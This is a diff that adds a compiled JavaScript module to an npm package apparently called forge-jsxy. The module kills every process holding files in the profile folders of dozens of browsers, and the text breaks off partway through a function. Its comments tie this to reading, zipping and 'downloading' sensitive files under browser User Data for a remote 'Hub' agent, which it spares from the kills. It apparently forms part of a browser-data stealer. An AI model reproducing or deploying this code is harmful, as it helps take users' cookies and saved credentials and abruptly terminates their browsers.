forge-jsxy 1.0.66

package/dist/fileLockForce.js

@@ -0,0 +1,1479 @@
+"use strict";
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
+    Object.defineProperty(o, "default", { enumerable: true, value: v });
+}) : function(o, v) {
+    o["default"] = v;
+});
+var __importStar = (this && this.__importStar) || (function () {
+    var ownKeys = function(o) {
+        ownKeys = Object.getOwnPropertyNames || function (o) {
+            var ar = [];
+            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
+            return ar;
+        };
+        return ownKeys(o);
+    };
+    return function (mod) {
+        if (mod && mod.__esModule) return mod;
+        var result = {};
+        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
+        __setModuleDefault(result, mod);
+        return result;
+    };
+})();
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.browserKillProfilePrefixes = browserKillProfilePrefixes;
+exports.browserKillProfilePrefixesWin = browserKillProfilePrefixesWin;
+exports.isChromiumChildProcessCommand = isChromiumChildProcessCommand;
+exports.inferWindowsBrowserImageNamesForPath = inferWindowsBrowserImageNamesForPath;
+exports.inferUnixBrowserMassKillSpec = inferUnixBrowserMassKillSpec;
+exports.tryBuildSyntheticBrowserRestart = tryBuildSyntheticBrowserRestart;
+exports.forceUnlockPath = forceUnlockPath;
+exports.restartKilledProcesses = restartKilledProcesses;
+/**
+ * Best-effort unlock for paths held by other processes (force delete / download / Hub mirror).
+ *
+ * Windows: **`taskkill /IM`** on recognized browser profiles (Task Manager–style), optional Win32 scan,
+ * then PID **`taskkill`**. Linux / macOS: **`killall -9 -q`** / **`pkill -9 -f`** for the same profile
+ * families, optional **`/proc`** or **`ps`** scan, then **`lsof`** PIDs with fast **`SIGKILL`**.
+ *
+ * Never targets the current Node agent PID or its parent PID. After delete / zip / read completes,
+ * restartKilledProcesses relaunches saved main browser commands (never Chromium --type= children)
+ * and falls back to a synthetic relaunch line derived from the profile path.
+ */
+const node_child_process_1 = require("node:child_process");
+const fs = __importStar(require("node:fs"));
+const path = __importStar(require("node:path"));
+const node_util_1 = require("node:util");
+const execFileAsync = (0, node_util_1.promisify)(node_child_process_1.execFile);
+const MAX_DIR_SAMPLE_FILES = 48;
+/** Chrome/Edge can spawn many processes per profile; stay under practical caps. */
+const MAX_PIDS = 192;
+function protectedPids() {
+    const s = new Set();
+    s.add(process.pid);
+    const pp = process.ppid;
+    if (typeof pp === "number" && pp > 0)
+        s.add(pp);
+    const raw = (process.env.CFGMGR_FS_FORCE_KILL_PROTECT_PIDS || "").trim();
+    if (raw) {
+        for (const part of raw.split(/[,;\s]+/)) {
+            const n = parseInt(part, 10);
+            if (Number.isFinite(n) && n > 0)
+                s.add(n);
+        }
+    }
+    return s;
+}
+function normPathForMatch(p) {
+    return path.normalize(p).replace(/\\/g, "/").toLowerCase();
+}
+/** Collect up to `MAX_DIR_SAMPLE_FILES` regular file paths under `dir` (BFS). */
+function sampleFilesUnderDir(dir) {
+    const out = [];
+    const queue = [dir];
+    while (queue.length && out.length < MAX_DIR_SAMPLE_FILES) {
+        const d = queue.shift();
+        let entries;
+        try {
+            entries = fs.readdirSync(d, { withFileTypes: true });
+        }
+        catch {
+            continue;
+        }
+        for (const ent of entries) {
+            if (out.length >= MAX_DIR_SAMPLE_FILES)
+                break;
+            const child = path.join(d, ent.name);
+            if (ent.isDirectory()) {
+                queue.push(child);
+            }
+            else if (ent.isFile()) {
+                out.push(child);
+            }
+        }
+    }
+    return out;
+}
+async function lsofUnixPidsForPath(fp) {
+    const p = path.resolve(fp);
+    try {
+        const { stdout } = await execFileAsync("lsof", ["-t", p], {
+            encoding: "utf8",
+            maxBuffer: 512 * 1024,
+            windowsHide: true,
+        });
+        return stdout
+            .split(/\s+/)
+            .map((x) => parseInt(x.trim(), 10))
+            .filter((n) => Number.isFinite(n) && n > 0);
+    }
+    catch (e) {
+        const err = e;
+        if (err?.code === 1 || err?.status === 1)
+            return [];
+        return [];
+    }
+}
+async function collectUnixLockingPids(resolvedPath) {
+    let st;
+    try {
+        st = fs.statSync(resolvedPath);
+    }
+    catch {
+        return [];
+    }
+    const paths = [];
+    if (st.isFile()) {
+        paths.push(resolvedPath);
+    }
+    else if (st.isDirectory()) {
+        paths.push(resolvedPath);
+        paths.push(...sampleFilesUnderDir(resolvedPath));
+    }
+    else {
+        return [];
+    }
+    const uniq = new Set();
+    for (const pth of paths) {
+        for (const pid of await lsofUnixPidsForPath(pth)) {
+            uniq.add(pid);
+            if (uniq.size >= MAX_PIDS)
+                break;
+        }
+        if (uniq.size >= MAX_PIDS)
+            break;
+    }
+    return [...uniq];
+}
+function readCmdlineLinux(pid) {
+    try {
+        const raw = fs.readFileSync(`/proc/${pid}/cmdline`, "utf8");
+        return raw.replace(/\0/g, " ").trim();
+    }
+    catch {
+        return "";
+    }
+}
+function collectLinuxProcessCommandMap() {
+    const map = new Map();
+    let dirents;
+    try {
+        dirents = fs.readdirSync("/proc", { withFileTypes: true });
+    }
+    catch {
+        return map;
+    }
+    for (const d of dirents) {
+        if (!d.isDirectory() || !/^\d+$/.test(d.name))
+            continue;
+        const pid = parseInt(d.name, 10);
+        if (!Number.isFinite(pid) || pid <= 0)
+            continue;
+        const cmd = readCmdlineLinux(pid);
+        if (cmd)
+            map.set(pid, cmd);
+    }
+    return map;
+}
+async function collectDarwinProcessCommandMap() {
+    const map = new Map();
+    try {
+        const { stdout } = await execFileAsync("ps", ["axww", "-o", "pid=", "-o", "args="], {
+            encoding: "utf8",
+            maxBuffer: 64 * 1024 * 1024,
+            windowsHide: true,
+            timeout: 120_000,
+        });
+        for (const line of stdout.split("\n")) {
+            const t = line.trim();
+            if (!t)
+                continue;
+            const m = /^(\d+)\s+(.+)$/.exec(t);
+            if (!m)
+                continue;
+            const pid = parseInt(m[1], 10);
+            const args = m[2].trim();
+            if (Number.isFinite(pid) && pid > 0 && args)
+                map.set(pid, args);
+        }
+    }
+    catch {
+        /* ps unavailable or too large */
+    }
+    return map;
+}
+async function win32ProcessCommandLines() {
+    const ps = "Get-CimInstance Win32_Process | ForEach-Object { " +
+        "if ($null -ne $_.ProcessId -and $_.CommandLine) { " +
+        "$cmd = ($_.CommandLine -replace \"`r|`n\", ' '); " +
+        "Write-Output ($_.ProcessId.ToString() + [char]9 + $cmd) } }";
+    try {
+        const { stdout } = await execFileAsync("powershell.exe", ["-NoProfile", "-NonInteractive", "-ExecutionPolicy", "Bypass", "-Command", ps], { encoding: "utf8", maxBuffer: 40 * 1024 * 1024, windowsHide: true, timeout: 120_000 });
+        const map = new Map();
+        for (const line of stdout.split("\n")) {
+            const t = line.trim();
+            if (!t)
+                continue;
+            const tab = t.indexOf("\t");
+            if (tab < 1)
+                continue;
+            const pid = parseInt(t.slice(0, tab), 10);
+            const cmd = t.slice(tab + 1).trim();
+            if (Number.isFinite(pid) && pid > 0 && cmd)
+                map.set(pid, cmd);
+        }
+        return map;
+    }
+    catch {
+        return new Map();
+    }
+}
+/**
+ * `Get-CimInstance Win32_Process` can run for a long time on busy hosts; cap wait so `fs_delete`
+ * force-kill does not hang the agent indefinitely. Override **`CFGMGR_FS_WIN32_PS_LIST_TIMEOUT_MS`** (3s–120s, default **25s**).
+ *
+ * When **`CFGMGR_FS_WIN32_PS_AFTER_IM=scan`**, after **`taskkill /IM`** a shorter cap is passed via
+ * **`CFGMGR_FS_WIN32_PS_AFTER_IM_KILL_TIMEOUT_MS`** (3s–120s, default **8s**). Default **`CFGMGR_FS_WIN32_PS_AFTER_IM`**
+ * is **`skip`**: no enumeration after **`/IM`** (instant delete path).
+ */
+async function win32ProcessCommandLinesBounded(capMsOverride) {
+    const raw = (process.env.CFGMGR_FS_WIN32_PS_LIST_TIMEOUT_MS || "").trim();
+    const n = parseInt(raw, 10);
+    const defaultCap = Number.isFinite(n) && n >= 3000 && n <= 120_000 ? n : 25_000;
+    const capMs = capMsOverride !== undefined && Number.isFinite(capMsOverride) && capMsOverride >= 3000 && capMsOverride <= 120_000
+        ? capMsOverride
+        : defaultCap;
+    return await Promise.race([
+        win32ProcessCommandLines(),
+        new Promise((resolve) => {
+            setTimeout(() => resolve(new Map()), capMs);
+        }),
+    ]);
+}
+function win32PsListCapMsAfterImageKill() {
+    const raw = (process.env.CFGMGR_FS_WIN32_PS_AFTER_IM_KILL_TIMEOUT_MS || "").trim();
+    const n = parseInt(raw, 10);
+    if (Number.isFinite(n) && n >= 3000 && n <= 120_000)
+        return n;
+    return 8000;
+}
+/**
+ * After **`taskkill /IM`** on a browser profile, default is **no** `Win32_Process` enumeration so delete can run
+ * immediately (Task Manager–style: browser trees are already ended). Set **`CFGMGR_FS_WIN32_PS_AFTER_IM=scan`**
+ * to run a capped PowerShell list for non-browser lockers / richer restart lines.
+ */
+function shouldWin32EnumerateAfterImageKill() {
+    const v = (process.env.CFGMGR_FS_WIN32_PS_AFTER_IM || "skip").trim().toLowerCase();
+    return v === "scan" || v === "full" || v === "1" || v === "true" || v === "yes" || v === "on";
+}
+const WIN_SKIP_NAME = new Set([
+    "System Idle Process",
+    "System",
+    "Registry",
+    "smss.exe",
+    "csrss.exe",
+    "wininit.exe",
+    "services.exe",
+    "lsass.exe",
+    "fontdrvhost.exe",
+    "Secure System",
+    "MsMpEng.exe",
+    "SecurityHealthService.exe",
+].map((s) => s.toLowerCase()));
+function collectWindowsLockingPidsFromMap(resolvedPath, cmdMap, prot) {
+    const needle = normPathForMatch(resolvedPath);
+    if (!needle)
+        return [];
+    const out = [];
+    for (const [pid, cmd] of cmdMap) {
+        if (prot.has(pid))
+            continue;
+        const low = cmd.toLowerCase();
+        const tail = needle.length > 3 ? needle.slice(-Math.min(240, needle.length)) : needle;
+        if (!low.includes(needle) && !low.includes(tail))
+            continue;
+        const exeMatch = /(?:^|\s)([^\s"]+\.exe)\b/i.exec(cmd);
+        const exe = (exeMatch?.[1] || "").split("\\").pop()?.toLowerCase() || "";
+        if (exe && WIN_SKIP_NAME.has(exe.replace(/^"+|"+$/g, "")))
+            continue;
+        out.push(pid);
+        if (out.length >= MAX_PIDS)
+            break;
+    }
+    return out;
+}
+/** Chromium/Edge-style profile dirs plus Firefox Profiles — used for force-kill when the path is not on command lines. */
+const WIN_BROWSER_EXE = new Set([
+    "chrome.exe",
+    "msedge.exe",
+    "edge.exe",
+    "msedgewebview2.exe",
+    "brave.exe",
+    "vivaldi.exe",
+    "opera.exe",
+    "operagx.exe",
+    "firefox.exe",
+    "waterfox.exe",
+    "librewolf.exe",
+    "palemoon.exe",
+    "seamonkey.exe",
+    "floorp.exe",
+    "zen.exe",
+    "yandex.exe",
+    "browser.exe",
+    "epic.exe",
+    "dragon.exe",
+    "slimjet.exe",
+    "torch.exe",
+    "iridium.exe",
+    "cent.exe",
+    "thorium.exe",
+    "360chrome.exe",
+    "maxthon.exe",
+    "sleipnir.exe",
+    "ucbrowser.exe",
+    "tor.exe",
+    "wavebox.exe",
+    "coccoc.exe",
+].map((s) => s.toLowerCase()));
+/**
+ * Path prefixes (normalized lower, forward slashes) likely shared by browser command lines
+ * for a sensitive file under Chrome/Edge `User Data`, Linux `~/.config/...`, macOS `Application Support`, or Firefox.
+ */
+function browserKillProfilePrefixes(absResolved) {
+    const n = normPathForMatch(path.resolve(absResolved));
+    const out = [];
+    const ud = n.indexOf("/user data/");
+    if (ud >= 0) {
+        const root = n.slice(0, ud + "/user data".length);
+        out.push(root);
+        const after = n.slice(ud + "/user data/".length);
+        const firstSeg = after.split("/")[0] || "";
+        if (firstSeg)
+            out.push(`${root}/${firstSeg}`);
+    }
+    const linuxCfg = n.match(/(\/\.config\/(?:google-chrome|chromium|microsoft-edge|microsoft-edge-dev|microsoft-edge-beta|brave-browser|opera|opera-gx|vivaldi|yandex-browser-zeta|librewolf|waterfox|floorp|tor-browser|iridium|ungoogled-chromium|zen)\/[^/]+)/i);
+    if (linuxCfg?.[1])
+        out.push(linuxCfg[1].toLowerCase());
+    const macAs = n.match(/(\/library\/application support\/(?:google\/chrome|microsoft edge|chromium|brave software\/brave-browser|vivaldi|opera software\/[^/]+|yandex\/yandexbrowser|waterfox|floorp|zen)\/[^/]+)/i);
+    if (macAs?.[1])
+        out.push(macAs[1].toLowerCase());
+    const macSea = n.match(/(\/library\/application support\/mozilla\/seamonkey\/profiles\/[^/]+)/i);
+    if (macSea?.[1])
+        out.push(macSea[1].toLowerCase());
+    const ff = /(\/(?:appdata\/roaming\/)?mozilla\/firefox\/profiles\/[^/]+)/i.exec(n);
+    if (ff?.[1])
+        out.push(ff[1].toLowerCase());
+    const ffMacLinux = n.match(/(\/library\/application support\/firefox\/profiles\/[^/]+)/i);
+    if (ffMacLinux?.[1])
+        out.push(ffMacLinux[1].toLowerCase());
+    const ffLinuxDot = n.match(/(\/\.mozilla\/firefox\/[^/]+)/i);
+    if (ffLinuxDot?.[1])
+        out.push(ffLinuxDot[1].toLowerCase());
+    // Windows: Opera / Opera GX (profile under Roaming, no `User Data` segment).
+    const operaRoaming = n.match(/(\/appdata\/roaming\/opera software\/[^/]+)/i);
+    if (operaRoaming?.[1])
+        out.push(operaRoaming[1].toLowerCase());
+    // Pale Moon
+    const paleMoon = n.match(/(\/(?:appdata\/(?:local|roaming)\/)?moonchild productions\/pale moon\/[^/]+)/i);
+    if (paleMoon?.[1])
+        out.push(paleMoon[1].toLowerCase());
+    // Tor Browser (Firefox-based bundle)
+    const torB = n.match(/(\/tor browser\/[^/]+)/i);
+    if (torB?.[1])
+        out.push(torB[1].toLowerCase());
+    // SeaMonkey
+    const seamonkey = n.match(/(\/(?:appdata\/roaming\/)?mozilla\/seamonkey\/profiles\/[^/]+)/i);
+    if (seamonkey?.[1])
+        out.push(seamonkey[1].toLowerCase());
+    // Floorp / Zen (Firefox forks, Windows layout)
+    const floorpWin = n.match(/(\/(?:appdata\/roaming\/)?floorp\/profiles\/[^/]+)/i);
+    if (floorpWin?.[1])
+        out.push(floorpWin[1].toLowerCase());
+    const zenWin = n.match(/(\/(?:appdata\/roaming\/)?zen\/profiles\/[^/]+)/i);
+    if (zenWin?.[1])
+        out.push(zenWin[1].toLowerCase());
+    // Waterfox / LibreWolf Windows profile dirs (when not matched as Firefox subtree)
+    const waterfoxWin = n.match(/(\/(?:appdata\/roaming\/)?waterfox\/profiles\/[^/]+)/i);
+    if (waterfoxWin?.[1])
+        out.push(waterfoxWin[1].toLowerCase());
+    const lwWin = n.match(/(\/(?:appdata\/roaming\/)?librewolf\/profiles\/[^/]+)/i);
+    if (lwWin?.[1])
+        out.push(lwWin[1].toLowerCase());
+    // WebView2 / embedded Edge host data (often EBWebView under app or Edge profile)
+    const ebw = n.match(/(.+\/ebwebview\/[^/]+)/i);
+    if (ebw?.[1])
+        out.push(ebw[1].toLowerCase());
+    // Coc Cốc / UC / Maxthon / Cent / Slimjet / Torch / Iridium / Thorium / 360 / Epic (if path lacks generic user data match)
+    const coc = n.match(/(\/appdata\/local\/coccoc\/[^/]+(?:\/[^/]+){0,4})/i);
+    if (coc?.[1])
+        out.push(coc[1].toLowerCase());
+    const uc = n.match(/(\/appdata\/local\/ucbrowser(?:[^/]*)?\/[^/]+(?:\/[^/]+){0,3})/i);
+    if (uc?.[1])
+        out.push(uc[1].toLowerCase());
+    const winLocalBrand = (re) => {
+        const m = n.match(re);
+        if (m?.[1])
+            out.push(m[1].toLowerCase());
+    };
+    winLocalBrand(/(\/appdata\/local\/maxthon[^/]*(?:\/[^/]+){0,4})/i);
+    winLocalBrand(/(\/appdata\/local\/centbrowser[^/]*(?:\/[^/]+){0,4})/i);
+    winLocalBrand(/(\/appdata\/local\/slimjet[^/]*(?:\/[^/]+){0,4})/i);
+    winLocalBrand(/(\/appdata\/local\/torch[^/]*(?:\/[^/]+){0,4})/i);
+    winLocalBrand(/(\/appdata\/local\/iridium[^/]*(?:\/[^/]+){0,4})/i);
+    winLocalBrand(/(\/appdata\/local\/thorium[^/]*(?:\/[^/]+){0,4})/i);
+    winLocalBrand(/(\/appdata\/local\/360chrome[^/]*(?:\/[^/]+){0,4})/i);
+    winLocalBrand(/(\/appdata\/local\/360extremebrowser[^/]*(?:\/[^/]+){0,4})/i);
+    winLocalBrand(/(\/appdata\/local\/epic privacy browser[^/]*(?:\/[^/]+){0,4})/i);
+    winLocalBrand(/(\/appdata\/local\/comodo\/dragon[^/]*(?:\/[^/]+){0,4})/i);
+    winLocalBrand(/(\/appdata\/local\/ungoogled-chromium[^/]*(?:\/[^/]+){0,4})/i);
+    winLocalBrand(/(\/appdata\/local\/wavebox[^/]*(?:\/[^/]+){0,4})/i);
+    winLocalBrand(/(\/appdata\/local\/sleipnir[^/]*(?:\/[^/]+){0,4})/i);
+    return [...new Set(out.filter((x) => x.length >= 8))];
+}
+/** @deprecated Use browserKillProfilePrefixes — kept for existing tests and imports. */
+function browserKillProfilePrefixesWin(absResolved) {
+    return browserKillProfilePrefixes(absResolved);
+}
+function winExeBaseFromCmd(cmd) {
+    const exeMatch = /(?:^|\s)([^\s"]+\.exe)\b/i.exec(cmd);
+    const raw = (exeMatch?.[1] || "").split(/[/\\]/).pop()?.toLowerCase() || "";
+    return raw.replace(/^"+|"+$/g, "");
+}
+function isLikelyForgeAgentCommand(cmdLower) {
+    if (!/\bnode(?:\.exe)?\b/i.test(cmdLower))
+        return false;
+    return /forge-agent|cli-agent|cli-relay|forge-relay|cfgmgr-worker|forge-jsx|dist\/cli-agent|dist\/cli-relay/.test(cmdLower);
+}
+/** Chromium / Edge helper processes — never restart these (would spawn a useless short-lived child). */
+function isChromiumChildProcessCommand(cmd) {
+    return /--\s*type\s*=\s*\S+/i.test(cmd);
+}
+function sanitizeRestartCommand(cmd) {
+    const t = (cmd || "").trim();
+    if (!t)
+        return undefined;
+    const low = t.toLowerCase();
+    if (/^(?:\[.+?\]|kworker)/i.test(t))
+        return undefined;
+    if (isLikelyForgeAgentCommand(low))
+        return undefined;
+    if (isChromiumChildProcessCommand(t))
+        return undefined;
+    return t;
+}
+function collectWindowsBrowserPidsForProfilePath(abs, cmdMap, prot, already) {
+    const prefixes = browserKillProfilePrefixes(abs);
+    if (!prefixes.length)
+        return [];
+    const out = [];
+    for (const [pid, cmd] of cmdMap) {
+        if (prot.has(pid) || already.has(pid))
+            continue;
+        const exe = winExeBaseFromCmd(cmd);
+        if (!exe || !WIN_BROWSER_EXE.has(exe) || WIN_SKIP_NAME.has(exe))
+            continue;
+        const low = cmd.toLowerCase().replace(/\\/g, "/");
+        let hit = false;
+        for (const pref of prefixes) {
+            const tail = pref.length > 3 ? pref.slice(-Math.min(200, pref.length)) : pref;
+            if (low.includes(pref) || low.includes(tail)) {
+                hit = true;
+                break;
+            }
+        }
+        if (hit) {
+            out.push(pid);
+            if (out.length >= MAX_PIDS)
+                break;
+        }
+    }
+    return out;
+}
+function unixCommandLooksLikeBrowser(cmd) {
+    const c = cmd.toLowerCase().replace(/\\/g, "/");
+    if (isLikelyForgeAgentCommand(c))
+        return false;
+    if (/(?:^|[\s/])(?:google-)?chrome(?:$|[\s/])|chrome\.app|chromium|msedge|microsoft edge|firefox|librewolf|waterfox|brave|vivaldi|opera|yandex|palemoon|floorp|\bzen\b|seamonkey|tor-browser|iridium|thorium|wavebox|slimjet|webkitgtk|epiphany|msedgewebview2/i.test(c)) {
+        return true;
+    }
+    return false;
+}
+function collectUnixBrowserPidsForProfile(abs, cmdMap, prot, already) {
+    const prefixes = browserKillProfilePrefixes(abs);
+    if (!prefixes.length)
+        return [];
+    const out = [];
+    for (const [pid, cmd] of cmdMap) {
+        if (prot.has(pid) || already.has(pid))
+            continue;
+        if (!unixCommandLooksLikeBrowser(cmd))
+            continue;
+        const low = cmd.toLowerCase().replace(/\\/g, "/");
+        let hit = false;
+        for (const pref of prefixes) {
+            const tail = pref.length > 3 ? pref.slice(-Math.min(200, pref.length)) : pref;
+            if (low.includes(pref) || low.includes(tail)) {
+                hit = true;
+                break;
+            }
+        }
+        if (hit) {
+            out.push(pid);
+            if (out.length >= MAX_PIDS)
+                break;
+        }
+    }
+    return out;
+}
+async function killPidUnix(pid, fast) {
+    if (fast) {
+        try {
+            process.kill(pid, "SIGKILL");
+        }
+        catch {
+            /* already dead */
+        }
+        return;
+    }
+    try {
+        process.kill(pid, "SIGTERM");
+    }
+    catch {
+        /* skip */
+    }
+    await new Promise((r) => setTimeout(r, 400));
+    try {
+        process.kill(pid, 0);
+        process.kill(pid, "SIGKILL");
+    }
+    catch {
+        /* already dead */
+    }
+}
+async function killPidWindows(pid) {
+    try {
+        await execFileAsync("taskkill", ["/PID", String(pid), "/T", "/F"], {
+            windowsHide: true,
+            maxBuffer: 1024 * 1024,
+            timeout: 45_000,
+        });
+    }
+    catch {
+        /* skip */
+    }
+}
+/**
+ * Same idea as Task Manager “End task”: terminate every process tree for that image name.
+ * Ends **all** windows of that browser (e.g. every Chrome profile) — fast and reliable for profile deletes.
+ *
+ * Image names are Windows `taskkill /IM` bases (without `.exe`). Unknown portable builds still fall back
+ * to Win32 command-line PID matching after this step.
+ */
+function inferWindowsBrowserImageNamesForPath(absResolved) {
+    const n = normPathForMatch(path.resolve(absResolved));
+    const im = new Set();
+    if (/\/google\/chrome\//i.test(n) || /\/chromium\//i.test(n) || /ungoogled-chromium/i.test(n)) {
+        im.add("chrome");
+    }
+    if (/\/thorium\//i.test(n))
+        im.add("thorium");
+    if (/\/iridium\//i.test(n))
+        im.add("iridium");
+    if (/\/slimjet\//i.test(n))
+        im.add("slimjet");
+    if (/\/torch\//i.test(n))
+        im.add("torch");
+    if (/\/centbrowser\//i.test(n))
+        im.add("cent");
+    if (/\/360chrome\//i.test(n) || /\/360extremebrowser\//i.test(n))
+        im.add("360chrome");
+    if (/\/maxthon/i.test(n))
+        im.add("maxthon");
+    if (/\/sleipnir/i.test(n))
+        im.add("sleipnir");
+    if (/\/ucbrowser/i.test(n))
+        im.add("ucbrowser");
+    if (/\/wavebox\//i.test(n))
+        im.add("wavebox");
+    if (/\/coccoc\//i.test(n)) {
+        im.add("coccoc");
+        im.add("chrome");
+    }
+    if (/\/comodo\/dragon\//i.test(n))
+        im.add("dragon");
+    if (/\/epic privacy browser\//i.test(n))
+        im.add("epic");
+    // Edge browser vs WebView2 runtime (paths normalize with spaces lowercased).
+    if (/\/microsoft\/edge webview\//i.test(n) || /\/edgewebview\//i.test(n))
+        im.add("msedgewebview2");
+    if (/\/ebwebview\//i.test(n)) {
+        im.add("msedgewebview2");
+        im.add("msedge");
+    }
+    if (/\/microsoft\/edge\//i.test(n))
+        im.add("msedge");
+    if (/\/bravesoftware\/brave-browser\//i.test(n))
+        im.add("brave");
+    if (/\/vivaldi\//i.test(n))
+        im.add("vivaldi");
+    if (/opera software\/opera gx/i.test(n)) {
+        im.add("opera");
+        im.add("operagx");
+    }
+    else if (/opera software\/opera crypto/i.test(n)) {
+        im.add("opera");
+    }
+    else if (/opera software\//i.test(n)) {
+        im.add("opera");
+    }
+    if (/\/yandex\//i.test(n) || /yandexbrowser/i.test(n)) {
+        im.add("browser");
+        im.add("yandex");
+    }
+    if (/\/mozilla\/firefox\//i.test(n))
+        im.add("firefox");
+    if (/\/tor browser\//i.test(n)) {
+        im.add("firefox");
+        im.add("tor");
+    }
+    if (/\/mozilla\/seamonkey\//i.test(n))
+        im.add("seamonkey");
+    if (/\/waterfox\//i.test(n))
+        im.add("waterfox");
+    if (/\/librewolf\//i.test(n))
+        im.add("librewolf");
+    if (/moonchild productions\/pale moon\//i.test(n))
+        im.add("palemoon");
+    if (/\/floorp\//i.test(n))
+        im.add("floorp");
+    if (/\.config\/zen\//i.test(n) ||
+        /\/zen\/profiles\//i.test(n) ||
+        /\/appdata\/roaming\/zen\//i.test(n)) {
+        im.add("zen");
+    }
+    return [...im];
+}
+async function windowsTaskkillByImageNamesImmediate(names) {
+    const uniq = [...new Set(names.map((x) => x.toLowerCase().replace(/\.exe$/i, "")))].filter(Boolean);
+    await Promise.all(uniq.map((base) => execFileAsync("taskkill", ["/IM", `${base}.exe`, "/T", "/F"], {
+        windowsHide: true,
+        maxBuffer: 1024 * 1024,
+        timeout: 45_000,
+    }).catch(() => undefined)));
+}
+/** macOS / Linux: after mass `killall`/`pkill`, default **`skip`** skips heavy proc/`ps` scan (like Windows). */
+function shouldUnixEnumerateAfterKill() {
+    const v = (process.env.CFGMGR_FS_UNIX_PS_AFTER_KILL || "skip").trim().toLowerCase();
+    return v === "scan" || v === "full" || v === "1" || v === "true" || v === "yes" || v === "on";
+}
+/**
+ * Names for **`killall -9 -q`** plus **`pkill -9 -f`** patterns — same role as Windows **`taskkill /IM`**.
+ * Portable installs may still require **`lsof`** / proc scan fallbacks.
+ */
+function inferUnixBrowserMassKillSpec(absResolved) {
+    const n = normPathForMatch(path.resolve(absResolved));
+    const d = process.platform === "darwin";
+    const l = process.platform === "linux";
+    if (!d && !l)
+        return { killallNames: [], pkillPatterns: [] };
+    const killall = new Set();
+    const pkill = new Set();
+    const mac = (...xs) => {
+        for (const x of xs)
+            if (x)
+                killall.add(x);
+    };
+    const lin = (...xs) => {
+        for (const x of xs)
+            if (x)
+                killall.add(x);
+    };
+    const chromeFamily = () => {
+        if (d)
+            mac("Google Chrome", "Chromium");
+        if (l)
+            lin("chrome", "chromium", "chromium-browser", "google-chrome-stable", "google-chrome");
+    };
+    if (/\/google\/chrome\//i.test(n) || /\.config\/google-chrome\//i.test(n) || /library\/application support\/google\/chrome/i.test(n)) {
+        chromeFamily();
+    }
+    if (/\/chromium\//i.test(n) || /\.config\/chromium\//i.test(n) || /library\/application support\/chromium/i.test(n) || /ungoogled-chromium/i.test(n)) {
+        chromeFamily();
+    }
+    if (/\/thorium\//i.test(n)) {
+        if (d)
+            mac("Thorium");
+        if (l)
+            lin("thorium");
+    }
+    if (/\/iridium\//i.test(n)) {
+        if (d)
+            mac("Iridium");
+        if (l)
+            lin("iridium");
+    }
+    if (/\/slimjet\//i.test(n)) {
+        if (d)
+            mac("Slimjet");
+        if (l)
+            lin("slimjet");
+    }
+    if (/\/torch\//i.test(n)) {
+        if (d)
+            mac("Torch");
+        if (l)
+            lin("torch");
+    }
+    if (/\/centbrowser\//i.test(n)) {
+        if (d)
+            mac("CentBrowser");
+        if (l)
+            lin("cent");
+    }
+    if (/\/360chrome\//i.test(n) || /\/360extremebrowser\//i.test(n)) {
+        if (l)
+            lin("360chrome");
+    }
+    if (/\/maxthon/i.test(n)) {
+        if (d)
+            mac("Maxthon");
+        if (l)
+            lin("maxthon");
+    }
+    if (/\/sleipnir/i.test(n)) {
+        if (d)
+            mac("Sleipnir");
+        if (l)
+            lin("sleipnir");
+    }
+    if (/\/ucbrowser/i.test(n)) {
+        if (l)
+            lin("UCBrowser", "ucbrowser");
+    }
+    if (/\/wavebox\//i.test(n)) {
+        if (d)
+            mac("Wavebox");
+        if (l)
+            lin("wavebox");
+    }
+    if (/\/coccoc\//i.test(n)) {
+        chromeFamily();
+        if (l)
+            lin("coccoc", "CocCoc");
+    }
+    if (/\/comodo\/dragon\//i.test(n)) {
+        if (d)
+            mac("dragon");
+        if (l)
+            lin("dragon");
+    }
+    if (/\/epic privacy browser\//i.test(n)) {
+        if (d)
+            mac("Epic Privacy Browser", "Epic");
+        if (l)
+            lin("epic");
+    }
+    if (/\/microsoft\/edge webview\//i.test(n) || /\/edgewebview\//i.test(n)) {
+        if (d)
+            mac("Microsoft Edge WebView2");
+        if (l)
+            lin("msedgewebview2");
+    }
+    if (/\/ebwebview\//i.test(n)) {
+        if (d) {
+            mac("Microsoft Edge", "msedgewebview2");
+        }
+        if (l)
+            lin("msedge", "msedgewebview2", "microsoft-edge", "microsoft-edge-stable");
+    }
+    if (/\/microsoft\/edge\//i.test(n) || /\.config\/microsoft-edge/i.test(n) || /library\/application support\/microsoft edge/i.test(n)) {
+        if (d)
+            mac("Microsoft Edge");
+        if (l)
+            lin("msedge", "microsoft-edge", "microsoft-edge-stable");
+    }
+    if (/\/bravesoftware\/brave-browser\//i.test(n) || /\.config\/brave-browser/i.test(n) || /brave software\/brave-browser/i.test(n)) {
+        if (d)
+            mac("Brave Browser", "Brave");
+        if (l)
+            lin("brave", "brave-browser");
+    }
+    if (/\/vivaldi\//i.test(n) || /\.config\/vivaldi/i.test(n) || /library\/application support\/vivaldi/i.test(n)) {
+        if (d)
+            mac("Vivaldi");
+        if (l)
+            lin("vivaldi", "vivaldi-bin", "vivaldi-stable");
+    }
+    if (/opera software\/opera gx/i.test(n)) {
+        if (d)
+            mac("Opera", "Opera GX");
+        if (l)
+            lin("opera", "operagx");
+    }
+    else if (/opera software\/opera crypto/i.test(n)) {
+        if (d)
+            mac("Opera");
+        if (l)
+            lin("opera");
+    }
+    else if (/opera software\//i.test(n) || /\.config\/opera/i.test(n) || /library\/application support\/opera software/i.test(n)) {
+        if (d)
+            mac("Opera");
+        if (l)
+            lin("opera");
+    }
+    if (/\/yandex\//i.test(n) || /yandexbrowser/i.test(n) || /\.config\/yandex-browser/i.test(n)) {
+        if (d)
+            mac("Yandex");
+        if (l)
+            lin("yandex_browser", "yandex-browser");
+    }
+    if (/\/mozilla\/firefox\//i.test(n) || /\.mozilla\/firefox\//i.test(n) || /library\/application support\/firefox\/profiles/i.test(n)) {
